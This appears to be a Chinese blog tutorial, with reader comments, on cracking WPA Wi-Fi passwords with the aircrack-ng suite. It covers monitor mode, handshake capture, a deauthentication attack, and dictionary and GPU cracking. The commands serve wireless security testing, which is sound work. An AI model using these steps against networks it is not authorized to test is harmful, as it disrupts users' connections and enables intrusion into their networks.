Linux系统运维与架构

首先需要有一台运行kali linux的机器,无论是虚拟机或物理机,一块支持监听模式的无线网卡

root@kali:~# iwconfig 
wlan1     IEEE 802.11bg  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
eth0      no wireless extensions.

lo        no wireless extensions.

查看无线网卡设备名

root@kali:~# airmon-ng start wlan1


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID     Name
2772    dhclient
4415    wpa_supplicant


Interface       Chipset         Driver

wlan1           Realtek RTL8187L        rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

进入监听模式

airodump-ng mon0 会列出搜索到的所有无线网络
从中找到你要测试破解的,copy下来BSSID

root@kali:~/test# airodump-ng -w nenew  -c 11 --bssid E4:D3:32:41:56:12   mon0

当看到WPA handshake:说明抓到了握手包,就可以来破解了

如果一直抓不到,可以用如下命令来攻击,强迫重新握手

aireplay-ng -0 10 -a E4:D3:32:41:56:12  -c 64:B4:73:40:60:5C  mon0  --ignore-negative-one

抓到握手包后,就可以用字典来跑密码了。

root@kali:~/test# aircrack-ng -w ./password.txt  nenew-21.cap 
Opening nenew-21.cap
Read 18654 packets.

   #  BSSID              ESSID                     Encryption

Choosing first network as target.

Opening nenew-21.cap

跑的速度如何取决于你机器的性能,更取决于你的字典
如果用物理机,有比较好的显卡,还可以用显卡来加速破解,效率比cpu高的多

kali linux下装显卡驱动,sdk等,参考如下链接

我这里用显卡,很快就跑出了密码

root@kali:~# pyrit -r nenew-21.cap  -i password.txt -b D0:C7:C0:6E:53:53 attack_passthrough

    我笔记本虚拟机安装的kali,在使用的时候需要加载本机上面的无线网卡,为什么加载不成功??

    您好,请问kali Linux下怎样安装 RTL8187 网卡驱动,能发我一份吗?

    1. kali linux自带了网卡驱动啊,不需要单独安装
